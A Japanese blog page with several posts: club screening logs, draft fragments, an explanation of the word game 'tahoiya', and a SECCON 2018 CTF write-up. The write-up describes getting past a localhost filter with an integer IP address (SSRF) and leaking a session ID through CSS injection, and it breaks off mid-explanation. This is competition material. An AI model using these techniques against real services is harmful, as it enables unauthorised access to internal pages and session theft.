博多電光

技術ブログ

TSG映画鑑賞会・アニメ鑑賞会の軌跡

Cinema

※この記事は TSG Advent Calendar 2018 8日目のエントリです。

adventar.org


博多市が所属しているサークルTSGでは、映画鑑賞分科会やアニメ鑑賞分科会といった催しが定期的に行われている。

こういった交流目的のイベントが定期的に開かれるのはTSGの良い文化のひとつだと思っている。博多市がTSGを去った後も後輩諸君にはぜひ定期的にこういう鑑賞会を開催してほしい。

というわけで、今後同様の分科会を主催しようと考える将来の部員のために、またTSGの良さを人々に知ってもらうために、今までに開催した各種鑑賞会のログを残しておこうと思う。

映画鑑賞分科会

TSG映画鑑賞分科会は博多市が知る限り2013年から開催されている伝統的な (?) 分科会である。1年に1回程度の頻度で開催されており、その年に封切りされた新作アニメ映画を劇場で鑑賞するのが通例となっている。

2013年11月 『劇場版 魔法少女まどか☆マギカ [新編]叛逆の物語』 @TOHOシネマズ渋谷

eiga.com

@levelfourの提案により突如発生した分科会。筆者は参加せず。

思えばこれが現代まで続く伝統の始まりだった。

2014年12月 『楽園追放 -Expelled from Paradise-』 @新宿バルト9

eiga.com

楽園追放鑑賞分科会 : ATND

@nolze提案の分科会。2年連続の虚淵。提案した本人が予定合わず来られないという面白トラブルに見舞われるも無事鑑賞できた。

映画の内容もSF的ロマンとスリリングなシナリオが融合した良作だったと記憶している。

2015年8月? 『心が叫びたがってるんだ。

eiga.com

開催記録が見つからないが確かこれくらいの時期だったはず。

緘黙症や吃音症という扱いづらいテーマをストーリーに組み込みながら「トラウマを克服する勇気」を鮮やかに描きあげた青春物語。ヒロインの成瀬順は2018年現在も友利奈緒とともにCTF界隈のミームとなっており、ある種の必修科目でもある。

2016年9月 『君の名は。』 @新宿バルト9

eiga.com

もはや語る必要のないアニメ映画の金字塔。この映画が世間でバズり始めたのが確か11月ごろだと記憶しているがそれよりも一足早い鑑賞会となった*1

この時の開催は、映画を鑑賞したあと夕餉を共にして映画について語り合う時間を設けたのが非常によかった。映画館が新宿だったというのもあって (また映画が考察しがいのあるシナリオだったのもあって) 考察が進んだのをよく覚えている。教訓として映画を鑑賞したあとはそのまま帰らずに一緒にご飯を食べるのが大事だと学んだ。

2018年2月 『さよならの朝に約束の花をかざろう』 @新宿バルト9

eiga.com

少し時期が飛んで2017年度冬の分科会。夏に映画鑑賞分科会を開催しようという機運が持ち上がり、『打ち上げ花火、下から見るか? 横から見るか?』か『関ヶ原』を見ようかという話が出ていたものの、「打ち上げ花火」は世評が芳しくなかったためそのまま流れてしまった*2

純ファンタジー作品でこれまでとは毛色の違う作品だったが楽しむことができた。いろんな意味で重厚なストーリーに仕上げられており、115分という比較的長尺ながら飽きさせない構成が見事だった。機会があればぜひもう一度観たい映画の1つ。

2018年9月 『カメラを止めるな!』 @TOHOシネマズ上野

eiga.com

最新の映画鑑賞分科会であり初めての非アニメ映画。観る時期が時期だったため若干乗り遅れた感があるがちゃんと見るべき時に見れたので良かった。

何を言ってもネタバレになるとして有名な映画だが、感想としてはやはり実によい映画だった。博多市としてはその表現手法にやや苦手を感じる部分があったが、それを差し引いても完成された作品であることに間違い無い。

鑑賞メンバーが全員本郷生だったため鑑賞後には本郷に赴きのんびりと作品の感想を語り合った。

アニメ鑑賞分科会

アニメ鑑賞分科会は今年度に入ってから成立した比較的新しいイベントである。その内容は映画鑑賞分科会とは異なり、適当な場所で1作品分のアニメを通し見する (いわゆる一挙放送) というものである。そもそもそういう目的で使える場所がほとんどないため、今のところ本郷キャンパスの地下空間で毎度開催されている。

鑑賞環境は劇場とは比べるべくもないが、地下にはソファがあり専用のスピーカーも調達したため割と快適な環境でアニメを見られている。見る作品は新作というよりは往年の名作といった趣のものが多く、こちらはこちらで楽しいイベントになっている。

2018年8月『Angel Beats!

anime.dmkt-sp.jp

@kcz146が受験時代に Angel Beats! を観た思い出話を聞いて博多市が立案したイベント。博多市にとってもリアタイで通して見た初めてのアニメなので感慨深く、話に花を咲かせることができた。

2018年10月『STEINS;GATE

anime.dmkt-sp.jp

先述の@kcz146がSTEINS;GATE未視聴ということで開催した第2回アニメ鑑賞分科会。STEINS;GATEはプログラミングとかに関わる人は絶対に見るべきアニメだと思う。前日に部長の@akouryyを誑かして急遽参戦させた。

他と違い2クールアニメということで2日間に分割して鑑賞する案もあったが、ストーリーの性質上2分割しないほうがいいと博多市が主張したので、参加者は早朝から深夜まで休みなく画面を見続けることになった。結果的に良かったと思うが果てしなく疲れたのであまり頻繁にはできないと思われる。

2018年12月『Serial Experiments Lain

www.happyon.jp

なんのことはない、このエントリが公開される本日12月8日に開催予定の鑑賞会である。

次は誰も見たことがないアニメを選ぼうということで、ハッカーが絡む (らしい) 往年の名作 (らしい) であるLainを観ることになった。当然博多市も未視聴なのでどんな会になるのか全く想像つかない。

視聴した感想は、翌日のエントリで公開する予定なので、それも楽しみにしていただきたい。

まとめ

こうして振り返ってみると、いろんな作品をTSGメンバーとともに鑑賞してきた。こういう鑑賞会は本当にいい文化で、とくに映画鑑賞分科会は、博多市の人生に「映画を観る習慣」を与えてくれたものの1つなので、その存在には感謝してもしきれない。読者諸兄もぜひ仲間内での作品鑑賞会を積極的に開くことをお勧めする。

また、TSG民は次に鑑賞する映画、アニメをいつでも探し求めているので、布教したい作品などあったらぜひ教えてもらいたい。

*1:ちなみに博多市はこの2週間前に鑑賞済みだった。この年はシン・ゴジラといいサブカル映画豊作の年だった

*2:結局、「打ち上げ花火」は未視聴のままである

下書き供養 (書評2016、翻訳ゼミレビュー、HDDとDNAの比較表を作ってみた、npm脆弱性報告、艦娘教師なし学習)

※この記事は下書き供養 Advent Calendar 2018 3日目の記事です。

adventar.org


歳末が近い。次の年に厄を引き継がないためにも、もはや続きを書く予定のない下書きを下書きのままいくつか供養する。


2016年の書評

いつの間にか2017年が始まっていたので、突発的に、hakatashiが2016年に読んだ古典・小説・漫画・ゲーム・二次創作・SSなどから、特に心に響いたものをジャンルを問わずに紹介しようと思う(ただしフィクションに限る)。

ネタバレになりそうな部分は白文字で書いてあります。

横山秀夫クライマーズ・ハイ

クライマーズ・ハイ (文春文庫)

 五百二十四人──
 部屋が一瞬、静まり返った。
 誰もがその数字の大きさを具体的に思い浮かべることができた。北関の社員総数が五百十一人だった。会社そのものを消滅させ、なお十三の空席を余す数。

横山秀夫作品の中でも一二を争う名作。1985年に発生した、日本航空123便墜落事故を題材とした物語であり、当時航空機が墜落した群馬県の地方新聞記者として現場を取材した著者による壮絶な体験が礎となっている。

力強く妙味のある文章とリアルな筆致、そしてほろ苦くも人間性を感じさせる結末が深く刺さった。激情、プライド、失望、欲求。そういった人間の飾らない感情が胎動する文章の中に生きたまま放り込まれた、怪物のような作品である。

また、新聞記者という、ともすれば地味になってしまいそうな題材からこれだけの作品を組み上げたことにも驚きを隠せない。日航事故に関する記録文書としてもおすすめしたい一作。

仲谷鳰やがて君になる

2016年のベスト・オブ・百合。既にあらゆる場所で取り上げられているので、もはや語ることは無いくらいだが、こういった作品がたまに現れてくれるおかげで百合業界もしばらく安泰だと思わせてくれる、そんな作品である。

かわいい。そして苦しい。愛することと愛されることにまつわる喜びと苦しみを、豊かな感情を含んだ筆触で鮮やかに描き出した作品。百合入門としてもどうぞ。

OVER「Coda ~棘~」

※成人向けゲームです。

さまざまな偶然を経て出会った2001年発売の18禁ゲーム。正直に言うと購入した際はあまり期待していなかったのだが、色々な意味で期待を裏切って心の防壁を乗り越えてくる怪作だった。

その物語は……これは付属のマニュアルにも書いてあることだが、痛いとにかく痛い稀代の痛ゲーである。特に作中で流れる、バッハの「平均律クラヴィーア曲集第1巻第1番プレリュード」のインパクトは凄まじく、僕は今なおこの曲をどこかで耳にするたび心拍数が僅かに上昇する。

すでに販売終了しておりダウンロード版もないため入手が難しく、しかも最近のWindowsでは動かないためプレイまでのハードルは格段に高いが、痛いゲームを所望の人には強く推薦したい。ただ一点、同時期に発売された「君が望む永遠」をプレイ済みの人にはおすすめしないということだけ添えておく。また、パッケージ裏に書いてあるあらすじは多分にネタバレを含むため、個人的には読まずにプレイすることをおすすめする。

エーリヒ・ケストナー飛ぶ教室』 丘沢静也訳

児童文学の古典的名作。「ギムナジウム物」の作品は何作も読んできたが、本来の(?)ギムナジウムが登場する小説はこれが初めてである。翻訳はちゃんと読み比べていないが、少なくとも光文社古典新訳文庫の翻訳は日本語に余計な引っ掛かりもなく良かったのではないかと思う(ちなみにこの本は光文社古典新訳文庫のベストセラー第1位である)。

クリスマスに寄宿舎で披露される演劇『飛ぶ教室』と、それを演じる少年たちを巡る大小の事件を描いた物語である。プロローグでも作者によって触れられているが、誰もが経験しながら忘れてしまう童心を、避けられない苦味や酸味と一緒に的確に描き出している。どこか啓蒙的でありながら人間臭く寓話性を感じさせない、80年前の作品にも関わらず新しさを感じる作品である。時間があれば映画も見てみようと思う。

平「風の分身」

※R-18小説です。
※ゲーム「艦隊これくしょん」の二次創作です。

コダマナオコ『コキュートス』

こんなに 伊月が
好きなのに
 
どうして
無理なんだろう
 
なんだか
ショックだった

赤坂アカ『ib -インスタントバレット-』


大学のゼミで Anna Kavan の “I'm Wondering Where I Stand Now” を翻訳した

2015年度のAターム(秋学期)、東京大学の文学翻訳ゼミを受講してきたので、ここにそのレポートを書く。

そもそも東京大学の前期課程における「ゼミ」とは、正式には主題科目と呼ばれる講義群のことであり、今回受講したのはその中でも東京大学の教員が比較的自由に内容を設定できる全学自由研究ゼミナールに分類される講義である。東京大学の学生諸氏においては、シラバスの講義コード51100を参照されたい。

このゼミの目的は、英文学の翻訳を実践的に学ぶことである。そのために受講生は渡された課題文を翻訳して提出したり、出版社から招かれた翻訳本レーベルの編集者の話を聞いたりと、かなり充実したカリキュラムを受ける。提出した訳文は、Wordのコメント機能を使って全てみっちりと添削されて返ってくる。

そして、このゼミの最終課題として、自分で気に入った英語の文学作品をひとつ選び、それを二ヶ月あまりかけて、少しずつレビューを受けながら翻訳するというものがある*1。僕はアンナ・カヴァンの短編集 “My Soul in China” を購入し、その中から “I'm Wondering Where I Stand Now” を翻訳した。

僕がアンナ・カヴァンと出会ったのは昨年の3月、有名な『氷』のちくま文庫版が出版された時である。その時の衝撃に関してはまさしく言語を絶するが、それ以来『ジュリアとバズーカ』など彼女の作品に読み耽ると同時に、これまで敬遠しがちだった翻訳文学にも少しずつ歩み寄っていった。今回のゼミ受講もそのような経緯があってのことである。

自分がしがない理科生であるというのもあって翻訳課題はかなり骨が折れたが、教員のレビューを受けたり、訳文について討論したり、ピアレビューをしたりして完成した訳文は最終的にとても達成感に満ちたものになった。全体を通して非常に得るものの多いゼミだったと思う。聞けば今回が初めての開講とのことだったが、ぜひ次学期以降も開講して欲しいし、その際には後輩諸君にも自信を持って受講をお勧めしたい。多少人生が変わるかもしれない。

さて、そんなこんなで僕が制作したアンナ・カヴァンの翻訳文だが、残念ながら原文の著作権が存続しているため全文をここに公開することはできない。そのため引用という体で抄訳をここに記したいと思う。

『足下もおぼつかない(抄訳)』 アンナ・カヴァン、 高橋光輝 訳

 ある日、このUFO男が私のもとを訪ねてきた。この男とは前に一度、ある社交界の会議で会ったことがあり、確かジッパーを晒したみすぼらしい人間だったとおぼろげに記憶している。職務中にこの男を部屋に入れたくはなかったが、彼は既に入り口に足を伸ばしていたため、私は丁重にご用件は何ですかと尋ねた。彼は非常にぴりぴりしていて、周りの様子も見えてないようだった。没個性な灰色のスーツと、だいぶ昔に親戚に編んでもらったかのような焦げ茶色のセーターを着ていて、こいつはUFOを笠に着たスパイなのではないかと思わせた。これほどに没個性な人間というのはスパイ以外に考えられなかった。だがもちろんスパイがこんなにぴりぴりすることはない。少なくともそれを表に出すことは。

「この『星空の家』という商いについて」彼は言った。「いくつか質問がある」冷淡な人間、さらに言うなら若干不愉快な人間であるようだ。仕草が気に食わない。こそこそしていて、非難めいている。それから、先ほどの陳述も腹立たしかったので、前に顔を合わせてからスコットランド・ヤードBBCにでも加入したのか、と尋ねてみた。

「あなたが折しも関心を持っていたのは、私が思うに、質問ではなく、円盤ではなかったでしょうか」

 彼はのそのそと歩き回り始めた。とてつもなく落ち着かない様子で、ぽかんと、あるいは反熱狂的感情に囚われたかのようにあちこちに触れてから、こう言った。「あなたの戦略は……もちろんクリケットのことではなく」そんなことは言っていないと言った。スポーツに関しては門外漢で、私をローズ[訳注1]に連れて行っても、イニング[訳注2]とウィケット[訳注3]の違いすらわからないことだろう。彼は歩きまわるのをやめ、私の前で立ち止まり、不細工な顔で私を凝視し、こう言った。「どうしてそれがあなたをみすみす見逃すなどと思っているんだ」私は沈黙を守ることによってその質問が無礼だということを伝えようとした。彼は異様な眼差しで私を見つめ続けたので、彼の精査が長引いていることも物ともせず、新聞を取り上げて彼の前に掲げ、私の書いた広告が読めるように折りたたんでみせた。これは私の最高傑作だ。

 想像してみてください。オールダム[訳注4]かその辺りで一生を過ごしてきた人間が、目覚めたら新しい家にいて、窓の外には太陽系が燦然と輝いているのを。彼は自分の周りを、惑星が不可思議な順番で回転するのを見るでしょう。遠く離れた銀河系が、我々の銀河の中心から神秘的に何光年も遠ざかっていくのを見るでしょう。吹き流される星雲や、塵とガスが華々しい超新星爆発を起こすのを見るでしょう。この畏るべき壮観の中心で、運の良い購入者は心地よい隠れ家でゆったりとくつろぐでしょう。いかれた太陽が燃え上がり、海は干上がり、フライにされた地球がバラバラになって、宇宙全体が散り散りになっていく一方で、まったく金のかからなかったこの途方もない眺めをリラックスしながら観察するでしょう。

訳注1: ロンドンのウェストミンスター区に存在するローズクリケット場(Lord's Cricket Ground)を指す。クリケットの聖地と呼ばれている。

訳注2: クリケットの用語。攻撃番のこと。

訳注3: クリケットの用語。チームが守るゴールラインで、これをボールが超えると得点が入る。

訳注4: イングランド北西部に位置する街。この物語が書かれた1950年代から現代に至るまで、経済の落ち込んだ住宅街として知られている。

こんな調子で原文で6ページの短編を丸ごと訳した。最後の最後でメンターから誤訳との指摘を受けた部分も含まれているが、提出した原稿をそのまま写して持ってきたので堪忍してほしい。

このようにして提出された最終課題は、提出者全員の原稿をまとめて一つの冊子にされ、受講者全員に配られる。今思い返してみれば、教員もそうだが、受講者もレベルの高い講義だった。特に英文学への愛情が強く感じられた。僕などは先程も言ったとおり翻訳文学に関しては完全な素人なのだが、受講者の中にはオー・ヘンリーをこよなく愛する生徒や、村上春樹からフィッツジェラルドを知り彼の作品をほぼ読破した生徒や、ニンジャスレイヤーから翻訳の世界に興味を持った生徒などバリエーション豊かな生徒が集まり、そのぶん冊子も彩り豊かになった。

まあ、要するに何が言いたいかというと、この一学期間、非常に楽しいゼミだったということである。繰り返しになるが、このように充実したゼミなので、英文学や翻訳に興味がある東大生の後輩にはぜひ受講してほしい。もちろん来年以降開講されるかどうかは分からないが……。


「HDDとDNAの比較表を作ってみた」の解説

Twitterで何気なく呟いたツイートが思いのほか伸びてしまった。

多くの人に見られるというのは恥ずかしくも有りがたいことで、多くの人から貴重な意見を得ることができた。実を言うとこの表は10分程度でちょちょいと調べた情報をもとに作ったものなので、正確性はかなり怪しい。よってここで訂正を兼ねて、いくつかの補足と解説を加えようと思う。

なお筆者は東京大学(中略)統合生命科学コースの内定生だったが、内定辞退の上留年という複雑な境遇によって社会の荒波に揉まれまくったので、決して生物学の知識があるわけではない。注意されたし。

記憶容量

このツイートのそもそもの着想は、「ヒトのDNAの情報量はバイト数に直すと1GBに満たない」という、細胞生物学の教員から聞いたヨモヤマ話が元になっている。

情報量の定義はシャノンの平均情報量によるものとし、ここでは4種類の塩基が塩基配列上に完全に独立かつ無作為に現れるものとする。このとき塩基1つの情報量は { -\log_{2}\frac{1}{4}=2\mathrm{bit} } となる。実際には遺伝コードは冗長であり、さらにタンパク質の立体構造に縛られるので本来の情報量はもっと小さくなるはずだが、簡易的にはこれでよいだろう。

ヒトのDNAにはおよそ30億の塩基対が含まれている*2。(画像には書き忘れたが、ここで話しているのはすべてヒトのDNAの話である。)ここから単純にヒトのDNAが持つ情報量を計算すると、

{ 2\mathrm{bit}\times\mathrm{3,000,000,000}=750\mathrm{MB} }

となり、確かに1GBに満たない。

面白いのは、Twitter上でこの数字に対して「1GBも」という反応と「1GBしか」という反応が両方見られたことである。確かに半径わずか数μmの細胞核中にこの情報量が凝縮していることを考えると驚異的だが、ヒトという生命体の全体を考える際に、この1GBという数字は体感としてあまりにも小さいと考えるべきだろう。(細胞生命学の教員もそういう文脈で話をしていた。)ありとあらゆる人間の生命の神秘や脳機能、意識の発現などに必要な40億年の進化の結晶が、たかだかCD1枚分に収まってしまう。驚きである。

それはさておき、この表ではわかりやすさを重視して1GBに数字を切り上げておいた。HDDのほうは解説の必要はないだろう。

モリタイプ

Twitter上の反応で最もツッコミが多かったのはこの部分である。HDDが性能として読み書き可能なのは自明だが、DNAも同様に書き込みが可能であるという意見が多く見られた。

ヒトのDNAの記録情報が変化する可能性としてまず考えられるのが、トランスフェクションによる遺伝子の組み換えである。これは通常人為的な遺伝子組み換えによって行われるが、まれにウイルスの作用によって外来の遺伝子が導入される場合がある。その顕著な例がHIVを含むレトロウイルスである。

また、細胞分裂におけるDNA複製の誤りなどによって結果的にDNAの記録情報が書き換わる場合がある。後述するがこれらの情報損失は遺伝子の再編成や欠失を引き起こし、特に致命的な場合にはこれが癌細胞の増殖に繋がることは言うまでもない。

いずれにせよ、生理的反応による能動的な作用ではないので、これを以てDNAが「書き込み可能」であると呼ぶのはかなり語弊があるように感じる。しかし、いずれ塩基配列が個体内において絶対不変のものではないことは注記しておいたほうがいいだろう。

シーケンシャルリード

現在流通している最新のHDDならシーケンシャルリードは100MBps程度だろう。ツイートでは単位を揃えるため1000000000bpsとしたが、1Gbpsと書いてもよかったかもしれない。

DNAのシーケンシャルリードだが、ここが最も悩んだ部分である。


とあるnpmモジュールの脆弱性を見つけて報告した話

今年4月、shell-quoteというnpmモジュールにちょっとやばげな脆弱性を見つけて報告し、つい先日nodesecurity.ioに勧告が掲載された。

Potential Command Injection | Node Security Platform

shell-quoteは知る人ぞ知るNode.jsの有名人substackが制作した大量のnpmモジュールの1つで、npmのダウンロードカウンターを見てみると月に約200万回ダウンロードされている。

CVSSは8.4で深刻度はレベルIIIと、かなり高めの値がついた。自分はセキュリティ専門家でない以上、脆弱性は日々のプログラミングの中で偶然に発見するものだと思っているが、このレベルの脆弱性に遭遇するのは人生でもなかなかないと思われるので、脆弱性を発見してから勧告が掲載されるまでの経緯を記しておこうと思う。

脆弱性を見つける


教師なし学習で艦娘を分類する

実はもう2週間くらい前の話だが、TSGという大学のサークルのPRML勉強会でkammusu-meansなるデモンストレーションを製作したのでここにも貼っつけておく。

別ページで開く

だいぶ見た目が似通っていてよろしくないが、構想および実装はにとよんさんの以下の記事を大いに参考にさせて頂いた。感謝。

tech.nitoyon.com

このデモンストレーションは、PRMLの第8章で解説されている「K-means法」と「混合ガウス分布EMアルゴリズム」の2通りの手法を用いてゲーム「艦隊これくしょん」に登場する艦娘をクラスタリングする様子をデモンストレートする。アルゴリズムについての解説は同書および各種解説資料*3に譲り、本記事では実装する上での感想などを述べていく。

*1:なお、純粋に翻訳力を鍛えるという観点から、選ぶことができる作品は公の出版物において未訳のものに限られる。

*2: UCSB Science Line

*3:同勉強会ではネット上に転がるPRML解説資料を集約するリポジトリも作成したので、参考にされたし。

知的ゲーム「たほいや」のすすめ

※この記事は TSG Advent Calendar 2018 1日目のエントリです。

adventar.org


博多市が所属しているサークルTSGでは、最近「たほいや」という遊びが流行している。

TSGのSlackではこの「たほいや」を遊べるBOTが生息しており、稼働から半年足らずであるにもかかわらずすでに部員により500回近い回数の「たほいや」が行われている。

この遊びは辞書を使って行う知的なゲームで、プログラミングと直接関係はないものの参加者の文章力や駆け引き力が問われる面白いゲームなので、ぜひ多くの人に遊んでもらいたい。

ここではそんな「たほいや」の魅力について語っていきたいと思う。

たほいや」とは?

一言で言うと、知らない単語の「嘘の」意味を考えて他のプレイヤーを引っ掛けるゲームである。

まず、出題者が辞書を読み、その中から「誰も知らなさそうなマイナーな単語」を1つ選ぶ。

f:id:hakatashi:20181201230635p:plain

ここでは例えば、「おごねく」という単語を選んだとする。

次に、出題者以外の参加者はお題の単語の「それっぽい」意味を考え、出題者に提出する。

f:id:hakatashi:20181201230744p:plain

例えば、「おごねく」に対して「媚びを売ること」という意味を考えたとする。

全員分の意味が集まったら、出題者はお題の単語の正しい意味と参加者が考えた意味をシャッフルし、選択肢として全員に公開する。

f:id:hakatashi:20181201231155p:plain

参加者は選択肢の中から、お題の単語の正しい意味だと思うものを1つ選び、コインをBETする。

選んだ意味が正しい意味ならBETしたのと同じ枚数を貰え、間違っていた場合BETした枚数がその意味を書いた人に奪われる。つまり正しい意味を見つけてもコインが貰えるし、それらしい意味を書いて他の人を引っ掛けてもコインが貰えるという道理である。

ちなみに「おごねく」の正しい意味は「ダイアクリティカルマークのひとつ」である。

f:id:hakatashi:20181201234626p:plain

このように、他人を引っ掛ける楽しさや日本語を用いて遊ぶ楽しさはもちろん、知らなかった単語を知ることによって教養も得られる素晴らしいゲームである。

この遊びは英語圏でfictionaryという名称で親しまれている遊びをローカライズしたもので、詳しい説明や由来はWikipediaに記載されているのでぜひ読んで頂きたい。

たほいやbot

で、このゲームは本来アナログで集まって遊ぶゲームなのだが、お題の出題者がいないと始まらないなどいろいろと不便なので、TSGのSlackのあるチャンネルでは「たほいやbot」なるBOTが生息しており、出題者がいなくてもいつでもたほいやを遊ぶことができるようになっている。

まず、「たほいや」と発言すると「たほいやbot」がお題の候補となる単語を10個挙げてくれる。

f:id:hakatashi:20181202000836p:plain

この単語はWikipediaウィクショナリーニコニコ大百科などの辞書データから自動的に生成された単語集である。

この中から「誰も知らなさそうな単語」を1つ選んでタイプすると自動的ににたほいやが始まる。

f:id:hakatashi:20181202002543p:plain

このたほいやに参加したい人は、たほいやBOTに対してDMで「偽の意味」を送信する。

f:id:hakatashi:20181202002850p:plain

3分経つと登録が締め切られ、参加者が登録した「偽の意味」と「正しい意味」がシャッフルされて選択肢として表示される。

f:id:hakatashi:20181202003043p:plain

この選択肢の中には、「ランダムに選ばれたお題と全く関係ない単語の意味」と「お題の単語とのレーベンシュタイン距離が最小の単語の意味」が混じっており、参加者を惑わせる。

参加者はこのお題の正しい意味だと思うものを一つ選び、再びたほいやbotにDMを送信する。

f:id:hakatashi:20181202003934p:plain

全員分のBETが出揃うと正しい意味が公開され、コインの精算処理が行われます。画像には映っていませんが、たほいやの成績ランキングなども同時に公開される。

このBOTが稼働開始してから、TSGのメンバーは日夜たほいやを繰り広げており、今までの総対戦数は500回近くに及んでいる。ちなみに対戦ログはGistで公開されているので誰でも読むことができる。

[TSG] たほいや対戦ログ 第1回~第100回 · GitHub

たほいやbotソースコードはこちら。

slackbot/tahoiya at master · tsg-ut/slackbot · GitHub

デイリーたほいや

このたほいやbotで出題されるお題は、辞書に載っている単語からほぼランダムに選ばれるため、ただの人名や地名などの、あまり面白みのない単語が出題されることも多く、それはそれで面白いのですがクオリティ的には今ひとつな面もある。

そこで、10月頃から稼働開始した「デイリーたほいや」という機能では、あらかじめお題となる単語を誰かが考えて登録しておくことによって、たほいやのもう一つの側面である「不思議で聞き慣れないけど面白い単語」と出会うことができるようになっている。

f:id:hakatashi:20181202004855p:plain

デイリーたほいやにおいてお題を考える時間は90分あるので、通常のたほいやより多くの人が参加することが多い。参加者は普段のたほいやよりもよく考えて意味をひねり出すため、選択肢のクオリティが総じて高く、たほいやの難易度が高くなる。

f:id:hakatashi:20181202005853p:plain

デイリーたほいやが終了すると、お題の単語の意味を元に会話が発展したりさらなるたほいやが発生したりする。たほいやを通して上級生と下級生との交流も進んでおり、今やTSGにおいて重要なコミュニケーション手段の一つとなっているのである (???)。

TSGたほいや過去問集

そんなTSGで行われた「たほいや」の過去問から、特に面白いものをいくつかセレクトしたので、みなさんもこれを見てお題の正しい意味がどれなのか考えて頂きたい。(答えはリンクをクリックした先にあります)

てぃてぃ

  1. ケニアに住む部族
  2. おもに中国で使われる天板が回転する食卓
  3. ソロモン72柱の序列11位に位置する悪魔
  4. インドやチベットなどの暦で使われる時間の単位
  5. 人口1,968人のイタリア共和国サルデーニャ州オルビア=テンピオ県のコムーネの一つ
  6. イタリアの競走馬

つかはらだいに

  1. 2012年9月8日から2013年6月9日まで放送された韓国KBSのテレビドラマ
  2. 原恵一組曲『日本狂想曲』の第二楽章
  3. 日本の外交官
  4. つかはらゆうきと爆裂体操第二によるデュオユニット
  5. 桜堤

さがせる

  1. 樺太大泊郡に所在
  2. 南関町熊本市など県北部で焼かれる陶器
  3. 株式会社ニフティが2006年10月まで運営していた総合ポータルサイト
  4. 佐賀有毒自然物質研究所が発行する季刊誌
  5. 佐賀医科大学の辻元研究室が発見した海藻類の歯葉を再生するために働く細胞
  6. コートジボワール
  7. アトムランソリューションズ株式会社が石川県に発行している無料月刊クーポン誌

どんむせん

  1. 長野県安曇野市安曇野駅から東京都武蔵小金井市の武蔵小金井駅を結ぶ東日本旅客鉄道鉄道路線
  2. ドイツの技術者ドン=マークによって発明された無線技術
  3. パーリ仏典経蔵中部に収録されている第26経
  4. オランダの首都アムステルダムの南部に隣接する工業都市
  5. バイキングが侵略の際に用いた船
  6. 岐阜県にある路線の名前
  7. 本名・高橋正子
  8. 中インド出身の訳僧

とやがえる

  1. ジャイナ教八天使のうちの一柱
  2. 関漢卿によって書かれた元曲
  3. 境界や国境がない、または意味をなさないこと
  4. 夏の末、鳥屋にいるタカの羽が抜けかわる
  5. うずらソフトより発売されているテレビゲームソフト、ソフィスティケイトの主人公、戸谷替真一がしそうな行動を揶揄する造語
  6. 罪人の魂が死後四十九日を待たずして黄泉の国へ行くこと
  7. 漁夫の利を参照
  8. 道半ばで引き返すことのたとえ

まとめ

このように、TSGで流行している「たほいや」は楽しい遊びである。暇があればこの「たほいやbot」もHubotなどの形で他のSlackに移植しやすい形に改造するので、みなさんも是非ご自分のSlackにこのbotを導入してたほいや沼にずぶずぶとハマってもらいたい。

最後に、記事の途中に出てきた「どっとはらい」の正しい意味だが⋯⋯

f:id:hakatashi:20181202010322p:plain

というわけで、みなさんも一度たほいやをやってみよう、どっとはらい

SECCON 2018 Quals write-up (Unzip, GhostKingdom, Needle in a haystack, QRChecker, Electrum Kamuy)

チームTSGとして出場しました。世界2位です。CBCTFといいSECCONといい最近TSGが凄い。

f:id:hakatashi:20181028185534j:plain

TSGとは?

東京大学のコンピューター系サークル (の1つ) です。東大生からの部員募集中。

東京大学コンピュータ系サークル TSG

チームメンバー

TSGお得意の人海戦術を駆使。本戦に弱いのもさもありなんといった感じである。

ちなみにlmt_swallowくんはチームdodododoに浮気したのでいません。

TSGの他メンバーのWriteup

cookies.hatenablog.jp

qiita.com

moraprogramming.hateblo.jp

このエントリでは僕がsubmitした問題と貢献度の大きい問題のwriteupを書きます。

Unzip (Forensics, 101pts)

初心者枠。5分47秒で通した。

$ cd unzip

$ ll
total 134K
drwxr-xr-x 1 denjj 197609   0 Oct 28 19:05 .
drwxr-xr-x 1 denjj 197609   0 Oct 28 18:56 ..
-rw-r--r-- 1 denjj 197609 225 Oct 27 00:10 flag.zip
-rw-r--r-- 1 denjj 197609  99 Oct 27 00:10 makefile.sh

$ cat makefile.sh
echo 'SECCON{'`cat key`'}' > flag.txt
zip -e --password=`perl -e "print time()"` flag.zip flag.txt

$ 7z l ../unzip.zip

7-Zip [64] 16.04 : Copyright (c) 1999-2016 Igor Pavlov : 2016-10-04

Scanning the drive for archives:
1 file, 627 bytes (1 KiB)

Listing archive: unzip.zip

--
Path = unzip.zip
Type = zip
Physical Size = 627

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2018-10-27 00:10:41 .....          225          225  flag.zip
2018-10-27 00:10:06 .....           99           86  makefile.sh
------------------- ----- ------------ ------------  ------------------------
2018-10-27 00:10:41                324          311  2 files

$ node
> new Date(' 2018-10-27 00:10:41')
2018-10-26T15:10:41.000Z
> new Date(' 2018-10-27 00:10:41').getTime()
1540566641000

flag.zipをパスワード「1540566641」で解凍して SECCON{We1c0me_2_SECCONCTF2o18}

GhostKingdom (Web, 248pts)

f:id:hakatashi:20181028190958p:plain

今大会唯一 (???) のWeb問。kcz146, liesegang と僕などで解いた。

"Take a screenshot" から任意のURLを入力し、ウェブページのスクリーンショットを取得することができる。

"Message to admin" のプレビューページからページ内に任意のCSSをインジェクトできる。storedではない。HTMLエスケープされているのでCSS以外をインジェクトすることはできない。

画像の通り "Upload image" はローカルからしかアクセスできない。

まず、このウェブサイトのログインはGETで実装されているので、Take a screenshot からログインさせることができる。

http://ghostkingdom.pwn.seccon.jp/?user=hogehoge&pass=fugafuga&action=login をキャプチャした様子

f:id:hakatashi:20181028191549p:plain

Upload image は依然としてアクセスできない。そこでホスト名をlocalhostなどにしてアクセスしてみると、フィルターで弾かれる。

f:id:hakatashi:20181028191733p:plain

kczのアイデアで、IPアドレスの長整数表現を用いることによって回避。http://2130706433/http://127.0.0.1/ と等価である。ちなみに (これもkcz146が) あとから気づいたが、127.0.0.1に解決されるようなドメインを立てても回避できる。

http://2130706433/?user=hogehoge&pass=fugafuga&action=login をキャプチャすると、Upload image がリンクになっていることが確認できる。

f:id:hakatashi:20181028192110p:plain

ここから Upload image のリンク先アドレスを知る (および、アクセス権を得る) ためにだいぶ悩んだが、しばらくして Message to admin のCSSインジェクションを用いる方法を思いついた。

Message to admin のプレビューページにはcsrfなるパラメーターが埋め込まれているが、これは実はCookieにストアされているセッションIDと同一の値である。つまり、Take a screenshot からここのvalueの値を取得することによって、ローカルでログインしたセッションのIDを取得することができ、(若干のエスパーがあるが) 全てのページにアクセスできることになる。

f:id:hakatashi:20181028192354p:plain

この手法はCSSインジェクションによる属性リークとして知られており、最近だとdodododoに浮気したlmt_swallowが書いた資料にわかりやすく解説されている。

speakerdeck.com

